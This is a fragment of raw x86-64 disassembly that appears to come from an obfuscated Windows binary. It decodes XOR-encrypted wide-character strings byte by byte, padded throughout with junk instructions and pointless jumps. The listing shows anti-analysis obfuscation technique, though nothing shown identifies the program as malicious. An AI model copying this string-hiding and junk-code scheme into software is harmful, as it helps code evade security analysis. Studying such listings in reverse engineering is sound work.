movzx eax, byte [rcx + rdx]
ror bh, cl
shl ecx, 0x99
xor al, 0x79
bswap cx
movsxd rcx, edi
mov cx, r15w
movsx eax, al
mov rbx, rdi
mov ecx, 0x36932308
mov word [rbp + 0x36c], ax
mov bl, r11b
mov rbx, qword [0x140040c20]
movzx ecx, r12w
cmovae rcx, r12
bswap ecx
lea rcx, [0x140040c10]
jmp 0x14004dc70
call fcn.1400308f0
mov rcx, rax
bt ax, r14w
shr ax, cl
sub edx, edx
adc al, bpl
shr al, 0xfe
and al, 0x5d
mov eax, 3
cmc
div rbx
test spl, 0x77
xor bx, r13w
movzx eax, byte [rcx + rdx]
add bx, r11w
xor al, 0x6c
not ecx
sets cl
movsx eax, al
setg bl
mov bl, 0xd3
movzx ebx, dx
mov word [rbp + 0x36e], ax
seta cl
mov rbx, qword [0x140040c20]
mov cl, 0xe1
bswap ecx
lea rcx, [0x140040c10]
call fcn.1400308f0
mov rcx, rax
xor edx, edx
movzx rax, dx
mov eax, 4
div rbx
movzx eax, byte [rcx + rdx]
mov bl, sil
add cx, r14w
xor al, 0x6c
movsx eax, al
mov cl, 0x83
cmovae ecx, eax
mov word [rbp + 0x370], ax
movzx rcx, r9w
setbe bh
mov rbx, qword [0x140040c20]
lea rcx, [0x140040c10]
jmp 0x14004dd1d
call fcn.1400308f0
mov rcx, rax
bts eax, r12d
btr rax, rsp
rcl ah, 0x9e
sub edx, edx
movsx rax, r8w
rol eax, 0xcd
shrd rax, r12, 0xab
mov eax, 5
div rbx
movsxd rbx, ebx
bt bx, 0x5b
and ax, cx
movzx eax, byte [rcx + rdx]
xchg bx, bx
xor al, 0x61
not ch
movsx bx, r12b
movzx ecx, dx
movsx eax, al
movsx ebx, bx
jmp 0x14004dd72
mov word [rbp + 0x372], ax
cmovb ebx, edi
movzx ebx, r9w
movzx bx, r8b
mov rbx, qword [0x140040c20]
jmp 0x14004dd91
lea rcx, [0x140040c10]
call fcn.1400308f0
mov rcx, rax
cmc
xor edx, edx
add eax, edx
btr ax, r10w
shld ax, r10w, 0xdb
mov eax, 6
div rbx
movzx eax, byte [rcx + rdx]
test r10b, 0x83
xor al, 0x5f
movzx ebx, r15w
movsx ebx, r8w
xchg ch, bl
movsx eax, al
mov word [rbp + 0x374], ax
setno bl
bswap bx
mov rbx, qword [0x140040c20]
lea rcx, [0x140040c10]
jmp 0x14004ddef
call fcn.1400308f0
mov rcx, rax
rol eax, 0x6e
adc al, 0x79
lahf
sub edx, edx
test r9b, dl
setg al
cwde
mov eax, 7
div rbx
movsxd rax, edi
movzx eax, byte [rcx + rdx]
rol ecx, 0x67
ror ebx, cl
test dil, 0xd2
xor al, 0x78
movsx eax, al
movsx cx, bpl
mov bl, 0x20
movzx ecx, si
mov word [rbp + 0x376], ax
mov bx, di
movsxd rcx, r11d
mov rbx, qword [0x140040c20]
lea rcx, [0x140040c10]
jmp 0x14004de4d
call fcn.1400308f0
mov rcx, rax
not rax
bt ax, 0x65
sub edx, edx
setns al
sar eax, 0x1b
mov eax, 8
cmc
test r14b, 0xe1
div rbx
cwde
movzx eax, byte [rcx + rdx]
dec ch
xor al, 0x36
mov ebx, 0x3b540606
cmovae ebx, ebp
movsx ecx, bp
movsx eax, al
mov word [rbp + 0x378], ax
jmp 0x14004de95
mov rbx, qword [0x140040c20]
not cx
movsx cx, r15b
movzx rcx, r13w
lea rcx, [0x140040c10]
jmp 0x14004deb4
call fcn.1400308f0
mov rcx, rax
xor edx, edx
shld ax, di, 0xec
mov eax, 9
jmp 0x14004ded1
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x34
movsx bx, r10b
movzx bx, dil
not cl
movsx eax, al
mov word [rbp + 0x37a], ax
mov bh, 0x95
cmovs bx, r9w
movzx cx, spl
mov rbx, qword [0x140040c20]
movsxd rcx, ebp
lea rcx, [0x140040c10]
jmp 0x14004df13
call fcn.1400308f0
mov rcx, rax
add eax, 0xeae1df5
lahf
bts eax, esi
sub edx, edx
shrd eax, r12d, 0x3a
mov ax, r10w
mov eax, 0xa
div rbx
movzx eax, byte [rcx + rdx]
bt bx, 0x49
or cl, r15b
clc
xor al, 0x2e
movsx eax, al
mov word [rbp + 0x37c], ax
mov rbx, qword [0x140040c20]
movsx ecx, sp
lea rcx, [0x140040c10]
jmp 0x14004df66
call fcn.1400308f0
mov rcx, rax
or al, r12b
lahf
xor edx, edx
mov eax, 0xb
test sil, sil
clc
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x65
mov bl, r10b
movsx eax, al
movzx cx, al
mov word [rbp + 0x37e], ax
mov rbx, qword [0x140040c20]
lea rcx, [0x140040c10]
jmp 0x14004dfaa
call fcn.1400308f0
mov rcx, rax
xor edx, edx
movsxd rax, eax
mov eax, 0xc
clc
test cl, r11b
div rbx
btr rax, 0x7c
sal bh, cl
cmp ch, 5
movzx eax, byte [rcx + rdx]
movzx cx, r13b
xor al, 0x78
mov cl, r15b
movsx eax, al
mov word [rbp + 0x380], ax
mov ebx, 0x2f560721
mov rbx, qword [0x140040c20]
bswap cx
lea rcx, [0x140040c10]
call fcn.1400308f0
mov rcx, rax
sub rax, 0x402956cf
lahf
sub edx, edx
mov eax, 0xd
test al, r14b
div rbx
ror ax, cl
shl ah, 0x7e
movzx eax, byte [rcx + rdx]
shld ecx, r9d, 0x55
btc ecx, 0x9e
test r10b, al
xor al, 0x65
movsx eax, al
ror cl, cl
mov word [rbp + 0x382], ax
test r11b, r15b
rcl ch, cl
shr dl, cl
sub eax, eax
mov dx, si
movsx cx, r11b
mov word [rbp + 0x384], ax
movzx cx, r9b
bswap rcx
mov byte [rbp + 0x386], 1
movzx cx, dil
lea rdx, [rbp + 0x5d0]
movzx ecx, r12w
lea rcx, [rbp + 0x368]
jmp 0x14004e07f
call fcn.14002f7c0
nop
jmp 0x14004e08f
lea rcx, [0x1400411b8]
call fcn.1400308f0
movzx ecx, byte [rax]
btc bx, 0xc2
xor cl, 0x4b
movsx eax, cl
mov word [rbp + 0x3b0], ax
mov cl, bpl
cmovbe cx, r12w
mov rbx, qword [0x1400411c8]
lea rcx, [0x1400411b8]
call fcn.1400308f0
mov rcx, rax
rcr ah, 0x24
xor edx, edx
btc eax, 7
rcl eax, 0x15
xor al, bh
mov eax, 1
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x73
cmovno rbx, r12
movzx rbx, sp
movzx ecx, ax
movsx eax, al
movzx ecx, r8w
seta bh
mov word [rbp + 0x3b2], ax
movsx bx, bpl
jmp 0x14004e113
mov rbx, qword [0x1400411c8]
mov ch, 0x7d
setl ch
lea rcx, [0x1400411b8]
jmp 0x14004e12c
call fcn.1400308f0
mov rcx, rax
xor edx, edx
mov eax, 2
cmc
div rbx
jmp 0x14004e149
movzx eax, byte [rcx + rdx]
and ecx, 0x4bf10c52
ror cx, 0x28
xor al, 0x44
movsx eax, al
mov word [rbp + 0x3b4], ax
movsx cx, dil
mov rbx, qword [0x1400411c8]
jmp 0x14004e177
lea rcx, [0x1400411b8]
jmp 0x14004e183
call fcn.1400308f0
mov rcx, rax
bt ax, si
movsx rax, r9w
bswap ax
sub edx, edx
movzx rax, r14w
mov eax, 3
clc
stc
div rbx
btr rax, 0x30
add ebx, 0x114f4086
btr ax, bp
movzx eax, byte [rcx + rdx]
xor cl, r14b
xor al, 0x75
movsxd rcx, r13d
movsx ebx, r9w
movsx eax, al
not bh
bswap bx
movzx bx, bh
mov word [rbp + 0x3b6], ax
movzx ebx, r11w
movzx bx, r11b
mov cl, r9b
mov rbx, qword [0x1400411c8]
lea rcx, [0x1400411b8]
jmp 0x14004e1f7
call fcn.1400308f0
mov rcx, rax
bt eax, 0x70
bts ax, r9w
sub edx, edx
shl al, cl
mov eax, 4
cmp r10b, 0xcd
cmp r10w, r8w
clc
div rbx
jmp 0x14004e22a
movzx eax, byte [rcx + rdx]
xor al, 0x6d
movzx bx, bl
movsx eax, al
cmovb ebx, esi
bswap rcx
mov word [rbp + 0x3b8], ax
movzx ebx, r11w
mov rbx, qword [0x1400411c8]
movzx cx, r10b
lea rcx, [0x1400411b8]
jmp 0x14004e260
call fcn.1400308f0
mov rcx, rax
or rax, 0x5dba543c
sub edx, edx
ror ax, cl
cwde
and al, 0xd9
mov eax, 5
div rbx
rol bh, cl
mov ah, 0xef
sal ebx, 0x76
movzx eax, byte [rcx + rdx]
sbb rbx, 0x7cd31e09
add bl, 0x5f
bt bx, ax
xor al, 0x70
movzx ecx, r8w
not rbx
movsx eax, al
mov bh, 0x4a
mov word [rbp + 0x3ba], ax
mov rbx, qword [0x1400411c8]
movzx rcx, di
not cl
movzx ecx, r11w
lea rcx, [0x1400411b8]
jmp 0x14004e2cc
call fcn.1400308f0
mov rcx, rax
movsxd rax, r9d
xor al, bpl
stc
xor edx, edx
adc ah, ch
mov eax, 6
cmc
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x65
movsx rbx, bx
bswap cx
cmovbe cx, r12w
movsx eax, al
movsx ebx, sp
mov word [rbp + 0x3bc], ax
bswap bx
movzx ecx, ax
setbe bl
mov rbx, qword [0x1400411c8]
bswap cx
not cl
cmovno cx, dx
lea rcx, [0x1400411b8]
jmp 0x14004e32c
call fcn.1400308f0
mov rcx, rax
neg al
xor edx, edx
shld ax, r9w, 0x64
mov eax, 7
jmp 0x14004e348
div rbx
shr ah, 0xba
movzx eax, byte [rcx + rdx]
cmp rbp, 0x5aee602c
cmovns cx, r13w
xor al, 0x72
jmp 0x14004e365
movsx eax, al
movzx ebx, sp
movzx bx, spl
mov word [rbp + 0x3be], ax
movzx bx, bpl
movzx rbx, bx
mov rbx, qword [0x1400411c8]
jmp 0x14004e38e
lea rcx, [0x1400411b8]
jmp 0x14004e39a
call fcn.1400308f0
mov rcx, rax
bsf ax, r12w
sub edx, edx
cdqe
shr ah, 0xd4
mov eax, 8
jmp 0x14004e3bd
div rbx
and ax, si
cdqe
movzx eax, byte [rcx + rdx]
sal rcx, cl
xor al, 0x43
movsx rbx, r13w
mov rbx, r14
jmp 0x14004e3da
movsx eax, al
bswap bx
mov bx, 0x791e
movsx rbx, r10w
mov word [rbp + 0x3c0], ax
movsx rcx, ax
bswap cx
mov rbx, qword [0x1400411c8]
not ecx
movsx ecx, bx
lea rcx, [0x1400411b8]
jmp 0x14004e40e
call fcn.1400308f0
mov rcx, rax
or eax, eax
sal ax, 0xab
sbb al, bpl
xor edx, edx
mov eax, 9
div rbx
sar bx, 0x7e
or bh, dh
shl ax, 0x95
movzx eax, byte [rcx + rdx]
sal cx, 0x1f
test rbp, 0x63412b0c
xor al, 0x6c
movsx eax, al
mov word [rbp + 0x3c2], ax
bswap ebx
xchg ch, bl
movsxd rcx, edi
mov rbx, qword [0x1400411c8]
cmovge cx, si
lea rcx, [0x1400411b8]
jmp 0x14004e46c